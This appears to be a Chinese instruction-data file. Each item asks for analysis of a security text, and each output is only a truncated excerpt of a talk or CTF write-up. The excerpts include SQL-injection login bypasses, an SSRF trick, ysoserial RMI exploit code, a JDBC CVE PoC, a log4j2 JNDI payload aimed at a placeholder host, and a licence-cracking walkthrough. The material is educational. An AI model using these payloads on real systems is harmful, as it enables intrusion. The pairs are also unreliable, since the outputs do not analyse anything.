Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SQL – Injection &
OOB – channels
Patrik Karlsson, Inspect it
For an updated version of this presentation check
http://www.inspectit.se/dc15.html
Introduction
• Who am I
– Patrik Karlsson
– Information Security Consultant
– Owner of Inspect it
– Founder of cqure.net
Introduction
• What do I do?
– Penetration testing
– Application Security Reviews
– Source code reviews
– General information security audits
Introduction
• What am I presenting?
– A speech on SQL-injection with focus on
out-of-band channeling
– A number of examples using this
technique
• Why?
– Because we’re still seeing a lot of
vulnerable applications …
– Tunneling data is fun?
Introduction
• What am I not presenting?
– The basics of SQL injection
– An arsenal of tools for automatic
scanning/hacking web applications
– The silver bullet solution to all SQL –
injection problems
A very brief recap
SQL – injection
What is SQL – injection
• High risk security vulnerability
• The ability to inject arbitrary SQL code through
poorly validated application parameters
• Occurs due to inadequate design and input
validation controls
• Depending on privileges/patch-levels consequences
may range from troublesome to devastating
• All source code variables containing data provided
by the user could be vulnerable
– Forms, URL-parameters, cookies, referrer, user-agent  …
SQL – injection exemplified
• A classic example
sql = “SELECT usr_id FROM tbl_users
WHERE usr_name = ‘” + sUser + ”’ AND
usr_pass=‘” + sPass + “’”
• What if the user supplies the following
password ‘ OR 1=1 --
SQL – injection &
OOB channels
OOB – channels introduction
• Relies on “traditional” SQL-injection
weaknesses for exploitation
• Contrary to in-band injection it uses
an alternative channel to return data
• This channel can take many different
forms: timing, http, DNS
• Several different approaches exists
which dependend on the backend DB
OOB – channels introduction
• Exploitation using OOB-channels becomes
interesting when
– det...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

K &T :: IGS :: MAF
K &T :: IGS :: MAF
11
VLANs Layer 2 Attacks:
VLANs Layer 2 Attacks:
Their Relevance
Their Relevance
and
and
Their Kryptonite
Their Kryptonite
VLAN Layer 2 Attacks
K &T :: IGS :: MAF
K &T :: IGS :: MAF
22

Security is only as strong as the weakest link
Security is only as strong as the weakest link

Layer 2 attacks are timeworn but still relevant in today's networking
Layer 2 attacks are timeworn but still relevant in today's networking
environment
environment

Crime and security survey show different types of attacks for the year of
Crime and security survey show different types of attacks for the year of
2007. CSI / FBI surveys also show that 9 of 19 types of attacks could
2007. CSI / FBI surveys also show that 9 of 19 types of attacks could
target routers and switches
target routers and switches
Attacks (other)
Possible Layer 2
VLAN Layer 2 Attacks
 Cisco 3600, 2600 routers
Cisco 3600, 2600 routers
 Cisco 2900, 3500, 4006 switches
Cisco 2900, 3500, 4006 switches
 Wifi Netgear & Cisco-Linksys
Wifi Netgear & Cisco-Linksys
Tools
Tools
 Scapy
Scapy
 Yersinia
Yersinia
 Macof
Macof
 TCPDump
TCPDump
 Cain & Abel
Cain & Abel
 EtterCap
EtterCap
 Ethereal
Ethereal
K &T :: IGS :: MAF
K &T :: IGS :: MAF
33
Equipment
Equipment
Attacks
Attacks

ARP Attacks
ARP Attacks

MAC Flooding Attack/ CAM Table Overflow Attacks
MAC Flooding Attack/ CAM Table Overflow Attacks

DHCP Starvation Attack
DHCP Starvation Attack

CDP Attack
CDP Attack

Spanning-Tree Attack
Spanning-Tree Attack

Multicast Brute Force
Multicast Brute Force

VLAN Trunking  Protocol Attack
VLAN Trunking  Protocol Attack

Private VLAN Attack
Private VLAN Attack

VLAN Hopping Attack
VLAN Hopping Attack

Double-Encapsulated 802.1Q/Nested VLAN Attack
Double-Encapsulated 802.1Q/Nested VLAN Attack

VLAN Management Policy server VMPS/ VLAN
VLAN Management Policy server VMPS/ VLAN
Query Protocol VQP Attack
Query Protocol VQP Attack
VLAN Layer 2 Attacks
How to get a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BCTF2017-Writeup
By Nu1L
Misc
签到：
Nc 连上去输入 token，得到 flag。
foolme
关键点 1：哈希碰撞得到 md5 值结尾相同的 key.使用穷举方法即可。
关键点 2：发送满足条件的 jpg 图片的数据。校验函数是 check。
直接修改可以影响 diff 值的数据即可，即 input_x,input_y,input_z 的值。不断修改像素值，将
diff 值调高，但是不可以大于 2，并且被识别引擎识别为与原图不同的图片。
Web:
signature
Github 搜索源码。很容易搜到源码，下载后进行分析：
很容易看出是 CI 写的一个 Demo 站点。
在 blog_backup_2014.php 中很容易发现：
成功登陆后，在 admin 页面处发现注入：
发现经过了 waf 处理...但是出题人给的源码里把 waf 函数已经抽空，黑盒 fuzz 后发现貌似只
过滤了空格，用括号绕过即可，注入得到最终的表结构，然后发现 flag 在 payment.php 中：
读取数据，然后构造 signature，post 得到最终 flag。(忘记截图...
PS：题目注入的时候服务器反应的确有点慢，不如将数据库的结构在源码中有所体现，可能
会增加选手的做题快感 XD。
baby sqli
首先输入 admin'#绕过登陆，提示有 4 个 item，一个一个的买，买到 d 拿到 flag：
bctf{8572160a2bc7743ad02b539f74c24917}
Kitty shop
题目接着刚才的做，有一个可以下载 manual 的地方，fuzz 发现存在任意文件下载：
Fuzz 目录：
得到一个地址/app/encrypt0p@ssword/passwor：
访问 http://baby.bctf.xctf.org.cn/encrypt0p@ssword/password：
利用 kaiity 的任意文件下载拿到 client 的 elf 文件。如图 sub_401B6A 函数中调用了 recv 函数
接受服务器数据，
对 recv 函数下断分析接收的数据得到如下图所示的内容：
Paint
涉及两个知识点，一个 curl 的拼接访问，一个是 127.0.0.1 呗过滤之后的绕过，curl 可以拼
接访问，curl http://a.com/{a.gif,b.gif},还有就是 127.0.0.1 被过滤之后的绕过，可以用 127.0.0.2
绕过。我们首先将一张图片切成 2 分，中间差距正好应该是 flag.php 的请求大小。首先在地
址那里输入 http://127.0.0.2/flag.php 获知大小是 374 字节，之后用我们的脚本切割图片，上
传
之后在地址那里输入
http://127.0.0.2/{uploads/1492269999HkwuqBYX.gif,flag.php,uploads/1492270040evG9tmYw.gif}
得到新的图片：
访问就是 flag
> 后来我发现其实只要切割大小小于 374 都可以拿到 flag，原因不详
file1 = open('a.gif', 'r')
data = file1.read()
i1 = data[:200]
i2 = data[573:]
f1 = open("1.gif", "w")
f1.write(i1)
f1.close()
f2 = open("2.gif", "w")
f2.write(i2)
f2.close()
Only admin
首先是登陆，忘记密码那里，输入用户名 admin 和随便一个邮箱，查看源码有一个 md5，
解开就是 admin 的密码，登陆，发现存在 cookie，解开是 user 的 md5，修改成 admin 的 md5，
拿到一个 github 的用户，访问上去，有一个 apk，反编译一下，解密就好。有点扯淡的题目，
不解释
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class MyTest {
public static void main(String[] args) throws Exception {
SecretKeySpec key = new SecretKeySpec("3742#AES$$JKL:cn".getBytes(), "AES");
Cipher v0 = Cipher.getInstance("AES/ECB/PKCS5Padding");
v0.init(2, key...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From “One Country - One Floppy” to “Startup Nation”
The story of the early days of the Israeli hacking community
I
We*
* Unless otherwise stated
#whoarewe + #whyarewehere
1975
1984
1988
1993
2011
2015
1977
1986
2004
2011
2013
Some of the people in our story
Hacking
Cracking
Phreaking
Carding
90’s Terminology
Hacking
Cracking
Phreaking
Carding
90’s Terminology
Telephony
+
The BBS Scene
The BBS Scene
BBS Mischief
The Story of the Ethics Group
Going global
Internet Timeline in US vs. Israel
So we understand we need to take care of ourselves
+
+
Phreaking
208057040540
TYMNET PCP OUTDIALS: A listing of Pc-Pursuit out-dials usuable on Tymnet o
    r most X.25
systems. These are very good quality outdi
    als
for the
most part.
Compiled : 01/05/91
Author
 : Net Runner
Editor
 : Net Runner
System
 : TymNet PCPursuit Outdials
Uses
       : Calling to most major North American
cities
Dialups
 : Multiple Tymnet dialups per LATA
Port
       : 2400
bps, 7 bits, Even Pairity, 1 Stop Bit
Emulation.   : ANSI, TTY, Vt-52, Vt-100
3110 2010 0001   ( 300
baud) (Newark, NJ)
3110 2010 0301   (1200
baud) (NJNEW)
3110 2010 0022   (2400
baud) (E.C. 201)
3110 2020 0115   ( 300
baud) (Washington, DC)
3110 2020 0116   (1200
baud) (DCWAS)
3110 2020 0117   (2400
baud) (E.C. 202, 703, 301)
3110 2030 0105   ( 300
baud) (Hartford, CT)
3110 2030 0120   (1200
baud) (CTHAR)
3110 2030 0121   (2400
baud) (E.C. 203)
Learning to Code
Reverse Engineering
Contributions to the Community
Anti Debugging Tricks
Anti Debugging Tricks
EXCLUSIVE

Not only code…
The Story of unAsi
And the result…
And also…
UnTinyProg
Hardware Copy Protection
The Virus Scene: The Bad Guys
Jerusalem
Haifa
Local Initiatives
The Virus Scene:

The Good Guys
The Virus Scene: The Good Guys
The Virus Scene: The Good Guys
The Virus Scene: The Good Guys
An Anecdote
Carding
CBI & TRW
Trade vs. Use:

Hacker Ethics
Famous Busts
Deri Schreibman (1991)
Analyzer (1998, 2008, 2013)
Michael HaEfrati (2005)
The Trojan Horse story
The Hacker from ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Christian Nagel
Professional C# 6 and .NET Core 1.0
EISBN: 978-1-119-09660-3
Copyright © 2016 by John Wiley & Sons, Inc.
All Rights Reserved. This translation published under license.
Trademarks: Wiley, the Wiley logo, Wrox, the Wrox logo, Programmer to Programmer,
and related trade dress are trademarks or registered trademarks of John Wiley & Sons,
Inc. and/or its affiliates, in the United States and other countries, and may not be used
without written permission. All other trademarks are the property of their respective
owners. John Wiley & Sons, Inc., is not associated with any product or vendor mentioned
in this book.
本书中文简体字版由Wiley Publishing, Inc．授权清华大学出版社出版。未经出版者书面许
可，不得以任何方式复制或抄袭本书内容。
北京市版权局著作权合同登记号　图字：01-2016-5204
Copies of this book sold without a Wiley sticker on the cover are unauthorized and illegal.
本书封面贴有Wiley公司防伪标签，无标签者不得销售。
版权所有，侵权必究。侵权举报电话：010-62782989　13701121933
图书在版编目（CIP）数据
C#高级编程（第10版）C# 6 & .NET Core 1.0／（美）克里斯琴·内格尔（Christian Nagel）
著；李铭　译．—北京：清华大学出版社，2017
（.NET开发经典名著）
书名原文：Professional C# 6.0 and .NET Core 1.0
ISBN 978-7-302-46196-8
Ⅰ．①C…　Ⅱ．①克… ②李… Ⅲ．①C语言－程序设计 ②计算机网络－程序设计
Ⅳ．①TP312C②TP393
中国版本图书馆CIP数据核字（2017）第019996号
责任编辑 ：王　军　于　平
装帧设计 ：牛静敏
责任校对 ：成凤进
责任印制 ：杨　艳
出版发行 ：清华大学出版社
网　　址 ：http://www.tup.com.cn, http://www.wqbook.com
地　　址 ：北京清华大学学研大厦A座
邮　　编 ：100084
社 总  机 ：010-62770175
邮　　购 ：010-62786544
投稿与读者服务 ：010-62776969, c-service@tup.tsinghua.edu.cn
质量反馈 ：010-62772015, zhiliang@tup.tsinghua.edu.cn
印 装  者 ：三河市中晟雅豪印务有限公司
经　　销 ：全国新华书店
开　　本 ：185mm×260mm
印　　张 ：92.5
插　　页 ：1
字　　数 ：2482千字
版　　次 ：2017年3月第1版
印　　次 ：2017年3月第1次印刷
印　　数 ：1～5000
定　　价 ：168.00元
产品编号：067811-01
译者序
C#是微软公司在2000年6月发布的一种新的编程语言，由Delphi语言的设计者
Hejlsberg带领微软公司的开发团队开发，是一种安全的、稳定的、简单的、优雅的、由C
和C++衍生出来的面向对象的编程语言。它在继承C和C++强大功能的同时，去掉了它们
的一些复杂特性（例如没有宏以及不允许多重继承）。C#综合了Visual Basic简单的可视
化操作和C++的高运行效率，以其强大的操作能力、优雅的语法风格、创新的语言特性和
便捷的面向组件编程支持，成为.NET开发的首选语言。
自.NET推出以来，大约每两年就推出一个新的主要版本。从.NET Core的特性可以看
出，自.NET第1版以来，这个技术在.NET历史上给.NET带来的变化最大：
● .NET Framework要求把开发过程中使用的.NET运行库版本安装到目标系统上。而
在.NET Core 1.0中，...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

闲来无事，反制ysoserial (
之前分析RMI的时候，发现对于客户端的反序列化攻击都是没有被修复的，也就是说如果调用了原生jdk
的rmi客户端相关调用，连接恶意JRMP服务端就会触发反序列化。
攻击客户端的场景不多，除了反打服务器，打真正客户端的场景可能就是反制了，或者叫蜜罐也行。那
么看下常见的攻击RMI的安全工具有没有这种问题。
ysoserial
上来看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload，但也有一
些打远程服务的，比如RMIRegistryExploit
    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[3];
        Registry registry = LocateRegistry.getRegistry(host, port);
        final String className =
CommonsCollections1.class.getPackage().getName() +  "." + args[2];
        final Class<? extends ObjectPayload> payloadClass = (Class<? extends
ObjectPayload>) Class.forName(className);
        // test RMI registry connection and upgrade to SSL connection on fail
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new
RMISSLClientSocketFactory());
        }
        // ensure payload doesn't detonate during construction or
deserialization
        exploit(registry, payloadClass, command);
    }
    public static void exploit(final Registry registry,
            final Class<? extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>()
{public Void call() throws Exception {
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            Remote remote =
Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            try {
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }
看到了regis...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Vul of PostpreSql、Informic JDBC Driver
当程序中JDBC 连接 URL 可控时，可能会造成安全问题。HITB2021SIN 中的分享议题 "Make
JDBC Attacks Brilliant Again" 列举出了H2、IBM DB2、MODEShape、Apache Derby、
SQLite等数据库Driver，在Connect URL可控情况下的安全问题。
⼀、Postgresql CVE-2022-21724
近⽇披露了CVE-2022-21724，同样是在JDBC Connection URL可控情况下将会出现某些安
全问题。
当攻击者控制 jdbc url 或属性时，使⽤ postgresql 库的系统将受到攻击。pgjdbc 根据通过
`authenticationPluginClassName`、`sslhostnameveriﬁer`、`socketFactory`、`sslfactory`、
`sslpasswordcallback` 连接属性提供的类名实例化插件实例。但是，驱动程序在实例化类之前
没有验证类是否实现了预期的接⼝。这可能导致通过任意类加载远程代码执⾏。
1.复现
Github提供POC如下：
可以看到是利⽤了Spring中的
org.springframework.context.support.ClassPathXmlApplicationContext类，这⾥搭建环境参
考Spring Boot Connect to PostgreSQL Database Examples
测试Demo
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.
package com.example.demo;
/**
 * @auther Skay
 * @date 2022/2/18 0:18
 * @description
 */
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import java.sql.Types;
import java.util.List;
import java.util.Map;
@SpringBootApplication
public class SpringJdbcTemplate2PostgreSqlApplication implements CommandLine
1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
application.propertise
2.分析
简单看⼀下代码逻辑
org.postgresql.Driver#makeConnection
进⼊org.postgresql.jdbc.PgConnection类初始化逻辑
——> oorg.postgresql.jdbc.PgConnection#PgConnection
——> org.postgresql.core.ConnectionFactory#openConnection
——> org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
这⾥会进⼊关键⽅法org.postgresql.core.SocketFactoryFactory#getSocketFactory
    @Autowired
    private JdbcTemplate jdbcTemplate;
    public static void main(String[] args) {
        SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class
    }
    @Override
    public voi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
Java Every-days
Exploiting Software Running on 3 Billion Devices
Brian Gorenc
Manager, Vulnerability Researcher
Jasiel Spelman
Security Researcher
© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
Solution
“Unless it is absolutely necessary to run Java in web
browsers, disable it as described below, even after updating
to 7u11.  This will help mitigate other Java vulnerabilities
that may be discovered in the future.”
- DHS-sponsored CERT
© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
3
Agenda
•  Introduction
•  Vulnerability Trending and Attack Surface
•  Java Sub-component Weaknesses
•  Leveraging Sub-component Weaknesses
•  Vendor Response Review
•  Conclusion
© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
Introduction
© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
5
whois Brian Gorenc
Employer:
 Hewlett-Packard
Organization:
 HP Security Research
 Zero Day Initiative
Responsibilities:  Manager, Vulnerability Research
 Running Internet’s Crashbin
 Verifying EIP == 0x41414141
 Organizing Pwn2Own
Free Time:
 Endlessly Flowing Code Paths
 That Don’t Lead to Vulnerabilities
Twitter:
 @MaliciousInput, @thezdi
© Copyright 2013 Hewlett-Packard Development Company, L.P.  The information contained herein is subject to change without notice.
6
whois Jasiel Spelman
Employer:
 Hewlett-Packard
Organization:
 HP Security Research
 Zero Day Initiative
Responsibilities:  Security Research
 Staying Current with the Latest Vulnerabilities
 Cursing at IDA
 Working During the Eve...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
Overview
What is Razorback?
3
Razorback Is…
● An Open Source framework (GPLv2) to enable
advanced processing of data and detection of
events
● Able to get data as it traverses the network
● Able to get data after it’s  received by a server
● Able to perform advanced event correlation
● …Our answer to an evolving threat landscape
4
The Challenge is Different
● Attacks have switched from server attacks to
client attacks
● Common attack vectors are easily obfuscated
▸ Scripting languages are infinitely variable
▸ Compression obscures attack signatures
▸ And more!
● File formats are made by insane people
● Back-channel systems are increasingly difficult
to detect
5
The Problem With Real-Time
● Inline systems must emulate the processing of
thousands of desktops
● Detection of many backchannels is most
successful with statistical evaluation of network
traffic
● Deep file inspection requires too much time to
process!
6
Fill the Gap
● A system is needed that can handle varied
detection needs
● A system is needed that extensible, open and
scalable
● A system is needed that facilitates incident
response, not just triggers it
Architecture
What makes it tick?
8
Framework Goals
 Provide entry for any arbitrary data type
 Provide routing of input data to any number of
relevant data processors
 Provide alerting to any framework-capable
system
 Provide verbose, detailed logging
 Make intelligent use of all data
9
Razorback is comprised of…
● A collection of elements working together
● Each element performs a discrete task
● Elements are tied together via the Dispatcher
● Nugget types:
 Correlation
 Defense Update
 Workstation
 Data Collection
 Data Detection/Analysis
 Output
 Intelligence
10
The System
Dispatcher
Collection
Nugget
Detection
Nugget
Detection
Nugget
Detection
Nuggets
Database
Output Nugget
Output Nugget
Output Nuggets
Collection
Nugget
Collection
Nuggets
Other Types
of ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Dance with Apple Core
盘古安全实验室
关于我们
• 专业的移动安全研究团队
• 专注物联时代安全
• 专心与最新的安全技术
Apple内核101
• 内核 (XNU)是Mach/BSD的混合体
• 运行的驱动程序在单独分离的一套框架
• “DriverKit”也就是现在的IOKit
Apple内核101
• BSD
• XNU的最上层是POSIX/BSD体系
• 采用FreeBSD6.0的代码
• 提供files, processes/pthread, signals等等
• Apple扩展: 增加了很多独有的syscalls
• Mach
• 内核中的微内核
• NeXTSTEP时代的遗留产物
• 提供task, thread, memory以及IPC通讯机制的实现
• 处理底层的异常，中断及陷入
Apple内核101
• IOKit (DriverKit)
• 自主的驱动程序环境
• 移植自NextSTEP时代的DriverKit
• 采用面向对象，并且受限制的C++框架
• 采用复杂的多层机制”IORegistry”
• 采用它自身的IPC子系统(mach)
• 在内核中parse XML(!!!)
• 内核中主要的attack surface
IOKit 101
• 自包含的运行环境
• IO* API封装着内核态的API
• 驱动相对容易移植
• C++运行库由libkern提供
• 驱动通过IORegistry注册并且分类
• 用户态的API由IOKit.framework提供
• 映射内存至用户态
• 对Userclient提供方法和属性设置接口
IOKit 101
• IOService
• 自动向IORegistry注册驱动
• 在驱动生命周期内提供callback
• 支持notification
• 支持中断处理
• 并且提供Userclient机制和用户态API进行通讯
IOKit 101
• IOKit User Clients
• 直接和用户态交互的接口
• 并非所有驱动都提供User Clients
• 通过继承IOUserClient实现
• 调用的方法保存在vtable
• IOKit会校验对应方法的参数(类型, size)
• Struct / Scalar (二进制数据，以及整数或者内存地址)
IOKit 漏洞举例
• 内核中提供XML解析
• 其中OSUnserializeBinary用于反序列化二进制XML数据
• OSUnserializeBinary 通过动态数组的方式来手动管理OSobject的
指针
• 存在多个漏洞
IOKit 漏洞举例
• CVE-2016-1828 use-after-free漏洞
• 当我们在XML字典中两次设置同一个key的时候，
会导致前一个key的对象指针指向的内容被释
放掉
• 但是OSUnserializeBinary内部动态数组中还保
存了前一个对象的指针
• 当这个指针被引用的时候，导致UAF
IOKit 漏洞举例
• CVE-2016-4655 / CVE-2016-4680
• 内核info-leak漏洞
• 在处理kOSSerializeNumber时，二进制内
容中的长度直接传递给
OSNumner::withNumber函数
IOKit 漏洞举例
• OSNumber
• 实际上长度不能大于64字节
• 但是代码在初始化size的时候并没有对用户输入做验证
• 会影响调用size getter函数numberOfBits()/numberOfBytes()
IOKit 漏洞举例
• is_io_registry_entry_get_property_bytes
• 该函数用于获取指定key的数据
• Bytes=&offsetBytes 指向栈上的数据
• 长度是我们控制的
• bcopy调用会导致泄露栈上的数据
• 函数返回地址/堆地址/cookie
IOKit/MIG 漏洞举例
• IOSurfaceRootUserClient port UAF (CVE-2017-13861)
• UserClient异步调用的时候会释放一个传入的port结构
• IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input),
NULL, NULL);
• 17号调用中的releaseAsyncReference64操作，从而引发iokit_release_port_send释放传入
的port结构
IOKit/MIG 漏洞举例
• IOSurfaceRootUserClient port UAF (CVE...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Quantum Computers
vs.
 Computers Security
@veorq — http://aumasson.jp
Schrodinger equation
Entanglement
Bell states
EPR pairs
Wave functions
Uncertainty principle
Tensor products
Unitary matrices
Hilbert spaces
Nobody understands this stuff, and you don’t
need it to understand quantum computing
1. QC 101
2. In practice
3. Breaking crypto
4. Post-quantum crypto
5. Quantum key distribution
6. Quantum copy protection
7. Quantum machine learning
8. Conclusions
1. QC 101
Quantum mechanics
Nature’s operating system
Quantum mechanics
Mathematics
Gravity
Electromagnetism
Nuclear forces
Applications
OS
Hardware
Quantum mechanics
Particles in the universe behaves randomly
Their probabilities can be negative
"Negative energies and probabilities should
not be considered as nonsense. They are
well-defined concepts mathematically, like a
negative of money."
—Paul Dirac, 1942
α |0⟩ + β |1⟩
When observed
0 with probability α2
1 with probability β2
Once observed, stays either 0 or 1 forever
Quantum bit (qubit)
α0x00 |0x00⟩ + …+ α0xfe |0xfe⟩ + α0xff |0xff⟩
Again, the sum of probabilities α2 equals 1
The α’s are called amplitudes
Generalizes to 32- or 64-bit quantum words
Quantum byte
Set of quantum registers (bits/bytes/words)
Quantum assembly instructions:
Transform the probabilities of the register
Probabilities should still sum to 1
Linear math transforms (matrix products)
A program ends with a measurement
Quantum computer
Quantum computer simulators
Impossible with a classical computer
Possible with a quantum computer!
The killer app
You heard about NP-complete problems?
SAT, scheduling, Candy Crush, etc.
Solution hard to find, but easy to verify
QC does not solve NP-complete problems!
QC vs. hard problems
NNP
P
(easy)
NNP
NP
(hard)
NNP
BQP (quantum)
Quantum speedup
Make the impossible possible
Example: Factoring integers
Hard classically (exponential-ish)
Easy with a quantum computer!
Obvious application: break RSA!
Quantum parallelism
“Qubits encode all values at the...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEE可视化工具
软件破解
认证过程
系统使用 struts2 框架开发，通过在 struts2.xml 配置文件当中找到过滤器获取到认证程序。
com.seeyon.dee.configurator.interceptor.SerialInterceptor
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.seeyon.dee.configurator.interceptor;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionInvocation;
import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor;
import com.seeyon.v3x.dee.common.base.util.AuthorizeUtil;
import com.seeyon.v3x.dee.common.base.util.Encipher;
import com.seeyon.v3x.dee.util.DataChangeUtil;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.Properties;
import javax.servlet.http.HttpServletRequest;
public class SerialInterceptor extends MethodFilterInterceptor {
    private static final long serialVersionUID = 4085963428017959650L;
    private static final String filePath = DataChangeUtil.getRealPath("/") +
"config" + "/serial.properties";
    public SerialInterceptor() {
    }
    protected String doIntercept(ActionInvocation invocation) throws Exception {
        ActionContext actionContext = invocation.getInvocationContext();
        HttpServletRequest request =
(HttpServletRequest)actionContext.get("com.opensymphony.xwork2.dispatcher.HttpSe
rvletRequest");
        String errorMsg = "";
        InputStream in = new FileInputStream(filePath);
        Properties property = new Properties();
        property.load(in);
        in.close();
        String keycode = property.getProperty("KeyCode");
        String SerialNumber = property.getProperty("SerialNumber");
        String encode_authorizeDate = property.getProperty("AuthorizeDate");
        String authorizeDate = Encipher.Decode(encode_authorizeDate);
        String encode_deadline = property.getProperty("Deadline");
        String deadline...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-log4j2RCE
说明
log4j2 与 log4j 属于不同项目，且二者的配置方式也存在差异， log4j 是通过
log4j.properties 来进行配置的，而 log4j2 是通过 xml 文件来进行配置的。
环境搭建
pom.xml
测试代码
在众多测试代码当中大家都是利用 Logger.error() 来触发漏洞但，根据 log4j2 的默认漏洞级别
trace<debug<info<warn<error<fatal ， error 和 fatal 两个级别的日志会打印到控制台，同
时也会触发漏洞，当然还可以通过配置文件获取动态级别两个方式调整。
1. 默认缺省配置
<dependencies>
   <dependency>
      <groupId>log4j</groupId>
      <artifactId>log4j</artifactId><!--用于配置log4j-->
      <version>1.2.17</version>
   </dependency>
   <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId><!--用于配置log4j2-->
      <version>2.13.2</version>
   </dependency>
</dependencies>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
//包导入包含了log4j，不要导错包了
public class log4j2RCE {
    private static final Logger logger= LogManager.getLogger(log4j2RCE.class);
    public static void main(String[] args) {
        logger.debug("debug...");
        logger.info("info...");
        logger.warn("warn...");
        logger.error("error....");//${jndi:ldap://IP:389/alibaba}
        logger.fatal("fatal");
    }
}
2. 全日志输出配置
<?xml version="1.0" encoding="UTF-8"?>
 <Configuration status="WARN">
   <Appenders>
     <Console name="Console" target="SYSTEM_OUT">
       <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} -
%msg%n"/>
     </Console>
   </Appenders>
   <Loggers>
     <Root level="error">
       <AppenderRef ref="Console"/>
     </Root>
   </Loggers>
 </Configuration>
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="STDOUT" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %-5p [%t] %C{2} (%F:%L) - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Logger name="org.apache.log4j.xml" level="All"/>
        <Root level="debug">
            <AppenderRef ref="STDOUT"/>
        </Root>
    </Loggers>
</Configuration>
3. 动态级别设置：使用默认缺省配置，但是利用代码进行动态设置级别
<?xml version="1.0" encoding="UTF-8"?>
 <Configurati...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

那些年
知识星球运营分享
曹将
个人简介
曹将
畅销书《PPT炼成记》作者
世界500强企业总部培训负责人
自媒体平台详情：
•
公众号：曹将 —21万读者
•
微博：曹将PPTao —52万读者
•
知乎：曹将 —10万关读者
知识星球简介
星球
曹将和朋友们
成员数
5000+
核心成员
88
星球天数
1290
星球运营人数
1.5
巨坑
我是谁
WHO AM I
2016年
一次意外
2018年
转型
2019年
问题
2020年
清晰
有些话
只想跟你少数人说
转岗
时间不够用
招助理
我们的定位
到底是什么
WHO AM I
KP 关键合作伙伴
KA 关键活动
VP 价值主张
CR 客户关系
CS 目标客群
CH渠道
KR 关键资源
C$ 成本结构
R$ 收益结构
商业模式地图
谁可以帮我？
要做什么？
我有什么？
解决客户什么痛点？
怎样和对方打交道？
我能帮助到谁？
如何宣传自己？
我要付出什么？
我会得到什么？
商业模式地图
KP 关键合作伙伴
KA 关键活动
VP 价值主张
CR 客户关系
CS 目标客群
CH渠道
KR 关键资源
C$ 成本结构
R$ 收益结构
谁可以帮我？
要做什么？
我有什么？
怎样和对方打交道？
我能帮助到谁？
如何宣传自己？
我要付出什么？
我会得到什么？
1.
知识星球
2.
KOL
3.
印象笔记
4.
iSlide
5.
得到
6.
⾦数据
……
1.
拉新
2.
促活
1.
社群学习氛围
2.
免费资源
3.
红包奖励
4.
荣誉打造
5.
专属微信群
1.
职场效率提升
2.
找准⽅向少踩坑
1.
评论
2.
问答
3.
核⼼群
4.
发⽂
5.
直播
1.
公众号
2.
微博
3.
知识星球
4.
用户⼝碑分享
⼯作1-5年的职场⼈
1.⼯资 2.星球奖励 3.直播感谢 4.双⼗⼀拉新优惠
星球收⼊
解决客户什么痛点？
画完图就够了吗
LONG LONG WAY TO GO
坑一
只靠激情，没有激励
▊ 奖励1：加入精华
①获奖人数：不限
②获奖频率：不限
③衡量标准：评估发帖质量，由曹将评价
④获奖金额：每条5元
▊ 奖励2：“一周之星 ”
①获奖人数：1人
②获奖频率：每周一次
③衡量标准：当周点赞量最多
④获奖内容：15元奖励，并受邀加入「曹将和朋友们精华群」
▊ 奖励3：密圈互动TOP3
